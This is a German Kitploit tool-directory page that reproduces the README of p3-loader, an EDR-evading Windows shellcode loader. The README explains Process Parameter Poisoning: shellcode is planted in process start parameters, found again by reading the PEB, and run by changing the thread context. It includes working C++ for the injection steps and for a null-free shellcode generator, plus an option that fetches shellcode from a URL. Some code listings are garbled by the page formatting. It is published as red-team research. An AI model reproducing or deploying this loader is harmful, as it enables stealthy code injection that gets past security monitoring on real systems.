Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
p3-loader — P³-Shellcode Loader ist ein Loader, der eine Code-Injektionstechnik implementiert, die die Process-Parameters-Struktur als Ausführungs- und Staging-Ort für die Shellcode-Injektion in entfernte Prozesse nutzt, ohne gängige Erkennungsmechanismen auszulösen. | Kitploit
Tools/GitHubGitHub/orange-cyberdefense/p3-loader
DefensivwerkzeugePrivilege EscalationExploitationShellcodePost-ExploitationPenetrationstestsPapers & ForschungLernen & BildungRed Teaming

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Payload-Entwicklung
Binary-Exploitation
GitHuborange-cyberdefense/p3-loader

p3-loader

P³-Shellcode Loader ist ein Loader, der eine Code-Injektionstechnik implementiert, die die Process-Parameters-Struktur als Ausführungs- und Staging-Ort für die Shellcode-Injektion in entfernte Prozesse nutzt, ohne gängige Erkennungsmechanismen auszulösen.

Repository anzeigen
20423vor 1 MonatVon Kitploit geprüft

P³-Shellcode Loader - Process Parameter Poisoning

Autoren: Max Hirschberger & Ogulcan Ugur


Inhaltsverzeichnis

  1. Einführung
  2. Typische Prozessinjektion und beteiligte System-APIs
  3. Technische Grundlagen der erforderlichen Windows-Internas
    • 3.1 Prozesserstellungs-API und Startparameter
    • 3.2 Der Process Environment Block (PEB)
  4. Process Parameter Poisoning (P³)
    • 4.1 Starten eines Prozesses mit einem vergifteten Parameter
    • 4.2 Lokalisieren der injizierten Daten im neuen Prozess
    • 4.3 Ausführen des injizierten Codes
    • 4.4 Implementierte Payload-Injektionen
  5. Übergeben von beliebigem Shellcode in einer Zeichenkette
    • 5.1 Hilfsmethoden auf unterer Ebene, die vom Shellcode-Generator verwendet werden
    • 5.2 Implementierung von Operationen auf höherer Ebene
  6. Vorteile der Erkennungsvermeidung durch diese Technik
  7. Erkennungsansatz
  8. Fazit
  9. Referenzen

1. Einführung

Der P³-Shellcode Loader ist ein Loader, der eine Codeinjektionstechnik implementiert, die die Process-Parameters-Struktur (Process Parameter Poisoning) als Ausführungs- und Staging-Ort für die Shellcode-Injektion in Remote-Prozesse nutzt, ohne gängige Erkennungsmechanismen auszulösen.

Ein ähnliches Konzept wurde vom Sicherheitsforscher modexp beschrieben, der zeigte, dass die an die CreateProcess-API übergebenen Argumente für diesen Zweck genutzt werden können [1].


2. Typische Prozessinjektion und beteiligte System-APIs

Angreifer möchten ihre Aktivitäten weniger verdächtig erscheinen lassen. Mit Prozessinjektion sind Angreifer in der Lage, ihre Aktivitäten aus einem anderen Prozess heraus auszuführen, der vertrauenswürdiger ist oder von dem erwartet wird, die jeweilige Aktivität auszuführen, wodurch der Verdacht verringert wird.

Die folgenden typischen Schritte sind erforderlich, um Code in einen anderen Prozess zu injizieren:

  1. Der Angreifer sucht einen Zielprozess und öffnet ihn oder startet einen neuen Prozess (über OpenProcess / NtOpenProcess oder CreateProcess / NtCreateProcess).
  2. Für den schädlichen Code wird Speicher im Zielprozess zugewiesen (über VirtualAllocEx oder NtAllocateVirtualMemory).
  3. Der schädliche Code wird in die neue Speicherzuweisung geschrieben (über WriteProcessMemory / NtWriteVirtualMemory).
  4. Der Speicherschutz wird so konfiguriert, dass die Ausführung des schädlichen Codes erlaubt wird (über VirtualProtectEx / NtProtectVirtualMemory).
  5. Ein neuer Thread wird im Zielprozess gestartet, der den schädlichen Code ausführt (über CreateRemoteThread bzw. NtCreateThreadEx).

Weitere Injektionstechniken umfassen unter anderem die folgenden:

  • Thread Hijacking: Anstatt einen neuen Thread zu erstellen, wird ein vorhandener umgeleitet (über NtSetContextThread)
  • Early-Bird-APC-Injektion: Nutzt Asynchronous Procedure Calls (APCs), um die Ausführung eines vorhandenen Threads umzuleiten (über NtQueueApcThread)
  • Dirty Vanity: Missbraucht die Windows-API RtlCreateProcessReflection, die Prozess-Forking implementiert. In unseren Tests haben wir beobachtet, dass die meisten EDRs sich auf bestimmte Telemetriedaten konzentrieren, um Prozessinjektion zu erkennen. EDRs überwachen hauptsächlich die Nutzung von WriteProcessMemory und VirtualAllocEx sowie deren zugrunde liegende Kernel-Systemaufrufe NtWriteVirtualMemory, NtAllocateVirtualMemory und NtAllocateVirtualMemoryEx.

3. Technische Grundlagen der erforderlichen Windows-Internas

3.1 Prozesserstellungs-API und Startparameter

Windows stellt die API-Funktion CreateProcessW zum Erstellen neuer Prozesse bereit, wie in Listing 1 gezeigt. Die ersten drei Parameter lpCommandLine, lpEnvironment und lpStartupInfo sind für die beschriebene Injektionstechnik relevant, da sie verwendet werden, um Daten an den neuen Prozess zu übertragen.```c BOOL CreateProcessW( [in, optional] LPCWSTR lpApplicationName, [in, out, optional] LPWSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCWSTR lpCurrentDirectory, [in] LPSTARTUPINFOW lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );

root@kitploit:~
*Listing 1: Definition der Windows-API-Funktion CreateProcessW*
 
Der Parameter `lpCommandLine` legt die Befehlszeile für den neuen Prozess fest. Er ist auf maximal 32.767 Unicode-Zeichen begrenzt, einschließlich des Unicode-Nullterminators. Für die Unicode-Variante muss eine Zeichenfolge bereitgestellt werden, in die die Funktion schreiben kann. Wenn eine konstante Zeichenfolge übergeben wird, führen alle Schreibversuche der API-Funktion zu einer Speicherzugriffsverletzung. Wenn der Wert `NULL` ist, wird die Befehlszeile des Prozesses aus dem Parameter `lpApplicationName` übernommen. Wenn `lpApplicationName` `NULL` ist, muss sie im Feld `lpCommandLine` angegeben werden und ist auf `MAX_PATH` Zeichen begrenzt.
 
Der Parameter `lpEnvironment` stellt dem Prozess eine Liste von Umgebungsvariablen bereit. Wenn der Wert `NULL` ist, wird die Umgebung des erstellenden Prozesses verwendet. Die Liste der Umgebungsvariablen besteht aus aufeinanderfolgenden nullterminierten Zeichenfolgen im Format `NAME=VALUE` mit einem weiteren Nullterminator am Ende.
 
Der Parameter `lpStartupInfo` ist eine in Listing 2 gezeigte Struktur mit Feldern wie Window-Station, Desktop, Handles für Standardeingabe und -ausgabe sowie Feldern, die das Hauptfenster des neuen Prozesses konfigurieren. Laut Microsoft-Dokumentation ist das Feld `lpReserved` für die interne Verwendung reserviert und nicht weiter dokumentiert. Durch die Analyse mit dem WinDbg-Debugger war es möglich, diesen Parameter mit der Variable `ShellInfo` vom Typ `UNICODE_STRING` im neuen Prozess in Verbindung zu bringen.```c
typedef struct _STARTUPINFOW {
    DWORD  cb;
    LPWSTR lpReserved;   // Copied to ShellInfo (UNICODE_STRING)
    LPWSTR lpDesktop;
    LPWSTR lpTitle;
    DWORD  dwX;
    DWORD  dwY;
    DWORD  dwXSize;
    // (...) additional fields
    WORD   wShowWindow;
    WORD   cbReserved2;
    LPBYTE lpReserved2;
    HANDLE hStdInput;
    // (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;

Listing 2: Layout der STARTUPINFOW-Datenstruktur

3.2 Der Process Environment Block (PEB)

Bei der Erstellung eines neuen Prozesses werden alle übergebenen Prozessparameter in den Process Environment Block (PEB) geschrieben. Der PEB ist eine Datenstruktur, die in allen Prozessen vorhanden und für jeden Prozess eindeutig ist. Auf die Parameter kann über das ProcessParameters-Member vom Typ RTL_USER_PROCESS_PARAMETERS zugegriffen werden. Neben den Prozessparametern enthält diese Struktur auch weitere Laufzeitinformationen, wie beispielsweise eine Liste der geladenen Module. Die Struktur des PEB und die relevanten Prozessparameter in der RTL_USER_PROCESS_PARAMETERS sind in Listing 3 und Listing 4 dargestellt.```c typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; // (...) additional fields PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; // (...) additional fields } PEB, *PPEB;

root@kitploit:~
*Listing 3: Layout der PEB-Datenstruktur*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    // (...) additional fields
    CURDIR         CurrentDirectory;
    UNICODE_STRING DllPath;       // Potential candidate for transfer
    UNICODE_STRING ImagePathName; // Potential candidate for transfer
    UNICODE_STRING CommandLine;   // Primary candidate for transfer
    PVOID          Environment;   // Primary candidate for transfer
    // (...) additional fields
    UNICODE_STRING ShellInfo;     // Primary candidate for transfer
                                  // (lpReserved in STARTUPINFO)
    UNICODE_STRING RuntimeData;   // Potential candidate for transfer
    // (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

Listing 4: Layout der Datenstruktur RTL_USER_PROCESS_PARAMETERS

Abbildung 1 zeigt den ShellInfo-Parameter mit dem Poison-Wert, der im Feld lpReserved der STARTUPINFOW-Struktur angegeben ist. Darüber hinaus zeigt Abbildung 2 die kontrollierte Befehlszeile im System-Informer-Tool.

image

Abbildung 1: Vergifteter ShellInfo-Parameter

image

Abbildung 2: Vergiftete Befehlszeile


4. Prozessparameter-Poisoning (P³)

4.1 Starten eines Prozesses mit einem vergifteten Parameter

Da es mehrere Parameter gibt, die zum Kopieren des schädlichen Codes verwendet werden können, erstellt die Wrapper-Funktion in Listing 5 einen Prozess mit dem Poison-Argument, das dem gewählten Prozessparameter übergeben wird. Beim Ausführen des implementierten Injectors kann diese Wahl wie in Abbildung 3 gezeigt getroffen werden. Darüber hinaus kann ein beliebiger Wert für die Zielanwendung angegeben werden, die in lpApplication verwendet wird, wobei die Benutzerabfrage in Abbildung 4 gezeigt wird.```cpp BOOL CreateProcessWithPoison (int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) { STARTUPINFOW si = { 0 }; switch (choice) { case 1: // Injection via ShellInfo (lpReserved) printf("[] Writing into ShellInfo...\n"); si.lpReserved = poisonParameter; return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); case 2: // Injection via Environment block printf("[] Writing into Environment block...\n"); return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi); case 3: // Injection via CommandLine printf("[~] Writing into CommandLine...\n"); return CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); default: return FALSE; } }

root@kitploit:~
*Abbildung 5: Implementierung von CreateProcessWithPoison*
 
Diese Funktion implementiert drei unterschiedliche Parameteroptionen:
 
1. **ShellInfo-Injektion:** Platziert das Gift im `lpReserved`-Feld des `lpStartupInfo`-Parameters, das in die `ShellInfo`-Variable im PEB kopiert wird
2. **Umgebungs-Injektion:** Platziert das Gift im `lpEnvironment`-Parameter mit dem Flag `CREATE_UNICODE_ENVIRONMENT`
3. **CommandLine-Injektion:** Platziert das Gift im `lpCommandLine`-Parameter von `CreateProcessW`

<img width="753" height="445" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />


*Abbildung 3: Auswahl des injizierbaren Parameters*


<img width="752" height="167" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />

 
*Abbildung 4: Auswahl der Zielanwendungs-Executable-Datei*
 
### 4.2 Auffinden der injizierten Daten im neuen Prozess
 
Nach erfolgreicher Prozesserstellung können die injizierten Daten über die PEB-Struktur gefunden werden. Die folgenden drei Schritte sind erforderlich, um das Gift im neuen Prozess zu lokalisieren.
 
Zunächst wird die Startadresse der PEB-Struktur durch einen Aufruf von `NtQueryInformationProcess` ermittelt. `NtQueryInformationProcess` ruft die Datenstruktur `PROCESS_BASIC_INFORMATION` ab, wenn sie mit der Informationsklasse `ProcessBasicInformation` aufgerufen wird. Und `PROCESS_BASIC_INFORMATION` enthält die Adresse des PEB im `PebBaseAddress`-Feld. Dieser Schritt wird in Listing 6 gezeigt.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
    pi.hProcess,             // Handle of the new process
    ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
    &pbi,                    // Destination
    sizeof(pbi),             // Size of the destination
    &retLen                  // Resulting size of what was read
);

Listing 6: Erster Schritt zum Auffinden der injizierten Daten

Im zweiten Schritt wird die PEB-Struktur gelesen, indem NtReadVirtualMemoryEx mit der Startadresse der im ersten Schritt ermittelten Struktur aufgerufen wird. Die Implementierung des zweiten Schritts ist in Listing 7 dargestellt.```cpp PEB pebLocal = { 0 }; SIZE_T bytesRead; NTSTATUS status = winapi.NtReadVirtualMemoryEx( pi.hProcess, // Handle of the new process pbi.PebBaseAddress, // Starting address of the PEB &pebLocal, // Destination / Local copy of the PEB sizeof(pebLocal), // Size to be read &bytesRead, // Resulting size of what was read 0 // Reserved parameter );

root@kitploit:~
*Listing 7: Zweiter Schritt zum Auffinden der injizierten Daten*
 
Nach dem Lesen des PEB enthält das Feld `ProcessParameters` die Startadresse der `RTL_USER_PROCESS_PARAMETERS`-Struktur im neuen Prozess. Im dritten Schritt wird diese Struktur ebenfalls aus dem neuen Prozess gelesen. Die Zeiger auf die injizierten Daten befinden sich innerhalb dieser Struktur. Der dritte Schritt ist in Listing 8 dargestellt.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
    pi.hProcess,                // Handle of target process
    pebLocal.ProcessParameters, // ProcessParameters address in target
    &parameters,                // Output buffer / Local copy
    sizeof(parameters),         // Size to be read
    &bytesRead,                 // Resulting size of what was read
    0                           // Reserved parameter
);

Listing 8: Dritter Schritt zum Auffinden der injizierten Daten

Dieser Ansatz verwendet ausschließlich APIs zum Lesen des Speichers und keine Schreib- oder Allokations-APIs, auf die die EDRs abzielen. Allerdings gibt es eine Einschränkung, die durch die Parameter bedingt ist. Da diese Parameter nullterminierte Zeichenfolgen sind, kann nur Shellcode ohne Nullterminator vollständig übertragen werden. In Abschnitt 5 wird eine Lösung vorgestellt, um diese Einschränkung zu überwinden.

4.3 Ausführen des injizierten Codes

Nach der Übertragung des Codes muss die Ausführung des Prozesses noch auf den Code gelenkt werden. Darüber hinaus muss der Speicherschutz der injizierten Daten angepasst werden, da die Parameter nicht in Bereichen abgelegt werden, die als ausführbar markiert sind.

Um den Schutz zu ändern, wird die Windows-API NtProtectVirtualMemory verwendet, um den Schutz von nur les- und schreibbar auf nur les- und ausführbar zu ändern.

Um die Codeausführung auf den Shellcode umzulenken, stehen die folgenden drei Methoden zur Verfügung:

  • CreateRemoteThread / NtCreateThreadEx: Erstellt einen neuen Thread, der am Shellcode startet.
  • QueueUserAPC / NtQueueApcThread: Stellt eine APC in die Warteschlange eines vorhandenen Threads, wodurch dessen Ausführung letztendlich zum Shellcode umgeleitet wird.
  • Thread-Kontextmanipulation: Ändert den Befehlszeiger eines vorhandenen Threads, um dessen Ausführung zum Shellcode zu verlagern. Während der ersten Implementierung dieser Technik wurde der Dirty-Vanity-Ansatz zur Ausführung des Codes evaluiert. Allerdings löste diese Methode bei mehreren EDRs Alarme aus.

Ein detaillierter Blick in die Implementierung von RtlCreateProcessReflection zeigte, dass sie Aufrufe an NtWriteVirtualMemory und NtCreateThreadEx durchführt. Im Wesentlichen erstellt sie einen Thread in einem Zielprozess, um eine Funktion innerhalb von ntdll.dll auszuführen. Diese Funktion erstellt zum einen den geklonten Prozess, indem sie RtlCloneUserProcess aufruft, und führt zum anderen einen Speicherschreibvorgang in den geklonten Prozess durch.

Da NtWriteVirtualMemory einer der primären Indikatoren ist, die von den EDRs verwendet werden, erregt die Dirty-Vanity-Methode also lediglich über das notwendige Maß hinaus Verdacht.

Stattdessen wird die Manipulation des Kontexts des Hauptthreads verwendet, da sie gegenüber Dirty Vanity die folgenden Vorteile bietet:

  • Verfügbarkeit von Thread-Handles: CreateProcessW stellt bereits ein gültiges Handle für den Hauptthread innerhalb der PROCESS_INFORMATION-Struktur bereit. Ein Handle ist ein abstraktes Referenzobjekt, das der Kernel zur Interaktion mit Systemressourcen wie Prozessen, Threads und Dateien bereitstellt. Handles sind im Wesentlichen Indizes in prozessspezifische Handle-Tabellen, die jedes Handle einem Objekt im Kernel mit einer zugehörigen Zugriffsebene auf das Objekt zuordnen.
  • Vermeidung verdächtiger API-Aufrufe: NtWriteVirtualMemory, VirtualAllocEx und CreateRemoteThread werden nie verwendet, es wird nur NtSetContextThread aufgerufen. Der Kontext eines Threads ist der Zustand aller Prozessorregister. Daher ist es möglich, den Ausführungsfluss eines Threads durch Manipulation seines Kontexts umzuleiten, d. h. durch Änderung des Befehlszeiger-Registers. Typischerweise wird der Thread-Kontext in den folgenden Schritten manipuliert:
  1. Aussetzen des Threads: Der Zielthread wird in einen angehaltenen Zustand versetzt, entweder durch Aufruf von SuspendThread oder durch Erstellen im angehaltenen Zustand.

  2. Lesen des Kontexts: Der aktuelle Kontext wird über GetThreadContext in eine CONTEXT-Datenstruktur eingelesen.

  3. Ändern des Kontexts: Die gewünschten Änderungen werden am Kontext vorgenommen, z. B. die Änderung des Befehlszeiger-Registers RIP.

  4. Anwenden des Kontexts: Der modifizierte Kontext wird durch Aufruf von SetThreadContext in den Thread geschrieben.

  5. Fortsetzen des Threads: ResumeThread wird aufgerufen, um die Ausführung des Threads am neuen Wert von RIP fortzusetzen. Der Kontext eines Threads kann geändert werden, ohne ihn zuvor auszusetzen. Daher ist es nicht notwendig, SuspendThread und ResumeThread aufzurufen, die von EDRs möglicherweise auf Prozessinjektion hin überwacht werden. Darüber hinaus kann auch der Aufruf von GetThreadContext übersprungen werden, wenn der vorherige Ausführungszustand zu einem späteren Zeitpunkt nicht wiederhergestellt werden muss. Die resultierende Implementierung ist in Listing 9 dargestellt.```cpp NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) { CONTEXT ctx; ctx = { 0 }; ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough WinApiResolver winapi = WinApiResolver::GetInstance(); NTSTATUS status = 0;

root@kitploit:~
*Listing 9: Manipulation des Thread-Kontexts in ThreadSetExec*

### 4.4 Implementierte Payload-Injectionen

Unsere Implementierung dieser Injektionstechnik umfasst die folgenden vier in Abbildung 5 gezeigten Payload-Optionen.

1. Die erste Option ist eine einfache Demo, die ein Popup-Fenster anzeigt und in Abbildung 5 gezeigt wird. Diese Option erfordert keinen weiteren Shellcode oder ausführbare Dateien, die injiziert werden.
2. Option zwei nimmt eine hexadezimale Darstellung von Shellcode und injiziert diese. Wenn der Shellcode Null-Bytes enthält, wird er mit der in Abschnitt 5 beschriebenen Methode injiziert.
3. Die dritte Option akzeptiert einen Pfad zu einer DLL-Datei, die dann innerhalb des Ziels an `LoadLibraryA` übergeben wird.
4. Schließlich lädt Option vier rohen Shellcode von einer HTTP(S)-URL und übernimmt ebenfalls die Behandlung der Null-Byte-Beschränkung.

<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />


*Abbildung 5: Auswahl des injizierten Shellcodes*


<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />


*Abbildung 6: Vom Shellcode erstellte Message Box*

---

## 5. Übergeben von beliebigem Shellcode in einer Zeichenkette

Es ist nicht möglich, beliebige Daten innerhalb der Parameter zu übergeben. Das liegt daran, dass nur Daten bis zu einem Null-Terminator kopiert werden. Um diese Einschränkung zu überwinden, haben wir einen Shellcode-Generator entwickelt, der keine Null-Terminatoren erzeugt.

Dieser Shellcode-Generator kann Shellcode zum Aufrufen von `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` oder `NtSuspendThread` mit beliebigen Parametern erstellen. Darüber hinaus kann er Shellcode generieren, der einen beliebigen Second-Stage-Shellcode dekodiert und zu ihm springt.

Er ist in der C++-Klasse `ShellCodeWriter` mit privaten Hilfsmethoden und öffentlichen Methoden für die bereitgestellte Funktionalität implementiert. Die Implementierungsdetails werden im Folgenden erläutert.

### 5.1 Hilfsmethoden niedrigerer Ebene des Shellcode-Generators

`Xor` wird als die primitive Operation verwendet, die es dem Shellcode ermöglicht, beliebige Daten, einschließlich Null-Bytes, zu erzeugen. Diese primitive Operation ist in der Hilfsmethode `SetRAXXOR` implementiert, die zwei 64-Bit-Werte entgegennimmt. Sie erzeugt Shellcode, der eine XOR-Operation mit den angegebenen 64-Bit-Werten durchführt und das Ergebnis im `RAX`-Register speichert.

Die zusätzliche Hilfsmethode `SetRAX` erzeugt diese beiden 64-Bit-Werte, die, wenn sie per XOR verknüpft werden, einen bestimmten Wert ergeben. Sie stellt außerdem sicher, dass diese beiden 64-Bit-Werte keine Null-Bytes enthalten. Im Wesentlichen erzeugt `SetRAX` Shellcode, der das `RAX`-Register auf einen beliebigen 64-Bit-Wert setzt.

Sowohl `SetRAXXOR` als auch `SetRAX` sind in Listing 10 gezeigt. Zusätzlich ist der resultierende Maschinencode von drei Beispielaufrufen von `SetRAX` in Listing 11 gezeigt.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
    const char gadget[] =
        "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
        "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
        "\x4C\x31\xF8";                              // xor rax, r15
    uint64_t* xor_a = (uint64_t*)(gadget + 2);
    uint64_t* xor_b = (uint64_t*)(gadget + 12);
    *xor_a = xor_a_value;
    *xor_b = xor_b_value;
    AppendShellCode(gadget, 23);
}
 
void ShellCodeWriter::SetRAX(uint64_t value)
{
    if (value == 0)
    {
        AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
        return;
    }
    uint64_t xor_a = 0, xor_b = 0x0101010101010101;
    // Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
    for (int i = 0; i < 8; i++)
    {
        if (((uint8_t*)(&value))[i] == 0x01)
        {
            ((uint8_t*)(&xor_b))[i] = 0x02;
        }
    }
    xor_a = value ^ xor_b;
    SetRAXXOR(xor_a, xor_b);
}

Listing 10: Implementierung von SetRAXXOR und SetRAX```asm ; SetRAX(0) xor rax, rax

; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15

; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15

root@kitploit:~
*Listing 11: Beispiele für von SetRAX erzeugten Code*
 
`SetRAX` ist die Grundlage für die Hilfsmethoden `PushValue`, `PushBuffer`, `SetArgRegister` und `SetArgRegisterStackRelative`. `PushValue` ruft `SetRAX` auf und fügt eine `push RAX`-Anweisung hinzu, die es ermöglicht, beliebige Werte auf den Stack zu legen. `PushBuffer` verwendet `PushValue`, um ein beliebiges Byte-Array auf den Stack zu schreiben; dazu werden die Daten in 64-Bit-Werte aufgeteilt und in umgekehrter Reihenfolge gepusht. Die Reihenfolge muss umgekehrt werden, da der Stack-Pointer nach jedem Push dekrementiert wird. Der Shellcode-Generator verfolgt mit der Variablen `m_total_consumed_stack_bytes`, wie viele Bytes gepusht wurden. Diese Variable wird in der Hilfsmethode `FreeStack` verwendet, um den Stack zu bereinigen und den Stack-Pointer auf seinen ursprünglichen Wert zurückzusetzen.
 
In der Application Binary Interface (ABI) für Windows 64-Bit-x86 werden die Register `RCX`, `RDX`, `R8` und `R9` für die ersten vier Argumente beim Aufruf einer Funktion verwendet. Weitere Argumente werden nach einem 32-Byte-Shadow-Space auf den Stack gelegt. Der Shadow-Space ist für die aufgerufene Funktion reserviert und wird verwendet, um die ersten vier Argumentregister zu speichern. `SetArgRegister` und `SetArgRegisterStackRelative` werden verwendet, um eines dieser vier Argumentregister zu setzen. `SetArgRegister` setzt ein bestimmtes Register auf einen beliebigen konstanten Wert. Und der von `SetArgRegisterStackRelative` erzeugte Code schreibt den Stack-Pointer plus einen konstanten Offset in das entsprechende Argumentregister. Zusätzliche Funktionsargumente können mit der Hilfsmethode `PushValue` auf den Stack gelegt werden.
 
Die Hilfsmethode `Call` erzeugt Code, der den Stack-Pointer auf 16 Bytes ausrichtet, dann einen Aufruf an die angegebene Adresse durchführt und schließlich jede anfänglich vorgenommene Ausrichtungsänderung rückgängig macht. Ein auf 16 Bytes ausgerichteter Stack-Pointer ist erforderlich, um Abstürze in Funktionen zu verhindern, die XMM-Gleitkomma-Registeroperationen verwenden. Beim Aufrufen von Funktionen mit Argumenten, die auf dem Stack übergeben werden, muss die Ausrichtung vor dem Aufruf dieser Hilfsmethode korrekt sein. Andernfalls landen die Argumente am falschen Stack-Offset.
 
### 5.2 Implementierung von Operationen höherer Ebene
 
Die einfachste Operation ist das Aufrufen von `NtTerminateProcess` oder `NtSuspendThread`. Aufgrund ihrer Ähnlichkeit wird nur `NtTerminateProcess` behandelt, das in Listing 12 gezeigt wird. `NtTerminateProcess` nimmt zwei Parameter entgegen und folgt der x64-Aufrufkonvention. Zuerst wird die Hilfsmethode `SetArgRegister` für beide Parameter aufgerufen, um sie mit den übergebenen Werten zu initialisieren. Dann wird die API-Funktion aufgerufen.
 
Da der Shellcode auf derselben Maschine erzeugt wird, wird die Adresse der Funktion zum Zeitpunkt der Erzeugung aufgelöst und nicht innerhalb des Shellcodes. Das Auflösen von API-Funktionen wird von der Klasse `WinApiResolver` übernommen. Schließlich erzeugt die Hilfsmethode `Call` die Aufrufanweisung und den Stack-Ausrichtungscode.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
    SetArgRegister(0, (uint64_t)ProcessHandle);
    SetArgRegister(1, ExitStatus);
    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.NtTerminateProcess);
}

Listing 12: Implementierung von ShellCodeWriter::CallTerminateProcess

Funktionen, die Zeigerwerte wie LoadLibraryA und MessageBoxA entgegennehmen, können nicht auf dieselbe Weise verwendet werden. Dies liegt daran, dass eine gültige Speicheradresse erforderlich ist, die zum Zeitpunkt der Generierung des Shellcodes nicht bekannt ist. Daher wird der Helfer SetArgRegisterStackRelative verwendet, um das Argument auf eine Adresse auf dem Stack zu setzen. In Listing 13 wird der Modulparameter-String auf den Stack geschrieben und das erste Argumentregister so gesetzt, dass es auf den Anfang des Modul-Strings auf dem Stack zeigt. Darüber hinaus verschiebt die Funktion den Stack-Pointer um 32 Bytes, um den Shadow Space zu berücksichtigen. Ohne dies würde die aufgerufene Funktion den Modul-String überschreiben.```cpp void ShellCodeWriter::CallLoadLibraryA(LPCSTR module) { PushBuffer(module, strlen(module) + 1); int pos_buf = m_total_consumed_stack_bytes; // Shadow Space AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32 m_total_consumed_stack_bytes += 32; // Populate arg registers SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.LoadLibraryA); }

root@kitploit:~
*Listing 13: Implementierung von ShellCodeWriter::CallLoadLibraryA*
 
Abschließend nimmt `LoadAndCallShellCode` einen beliebigen Shellcode entgegen, der Nullbytes enthalten darf, und führt ihn aus. Seine Implementierung ist in den Listings 14 und 15 dargestellt und in die folgenden fünf Operationen unterteilt:
 
1. Der beliebige Shellcode wird über `PushBuffer` auf den Stack geschrieben. Danach wird der Schattenbereich reserviert, um den Shellcode vor dem Überschreiben zu schützen.
2. Als Nächstes erfolgt ein einfacher Aufruf von `VirtualAlloc`, der Parameter verwendet, die zum Zeitpunkt der Generierung bereits bekannt sind. Dieser API-Aufruf alloziert Speicher, der Lese- und Schreibzugriff erlaubt und den Shellcode aufnehmen kann.
3. Anschließend wird die von `VirtualAlloc` zurückgegebene Speicheradresse in die beiden Register `R12` und `R10` gespeichert. Dann wird `R11` auf die Größe des Shellcodes initialisiert und `RCX` wird so gesetzt, dass es auf den Anfang des Shellcodes zeigt. Mit den gesetzten Registern `R10`, `R11` und `RCX` folgen sechs Anweisungen, die einen Speicherkopiervorgang durchführen und den Shellcode in den neu allozierten Speicherbereich kopieren.
4. Ein Sprung zum Shellcode ist noch nicht möglich, da der Speicherbereich nur Lese- und Schreibzugriff zulässt. Es wäre zwar möglich, einen lese-/schreibbaren und ausführbaren Bereich zu reservieren, dies würde jedoch eher als verdächtig angesehen werden. Daher wird ein Aufruf von `VirtualProtect` ausgeführt, um den Schutz auf lesbar und ausführbar, aber nicht beschreibbar zu ändern.
5. Und schließlich wird ein Sprung zum Shellcode ausgeführt, nachdem sichergestellt wurde, dass der Stack korrekt ausgerichtet ist.```cpp
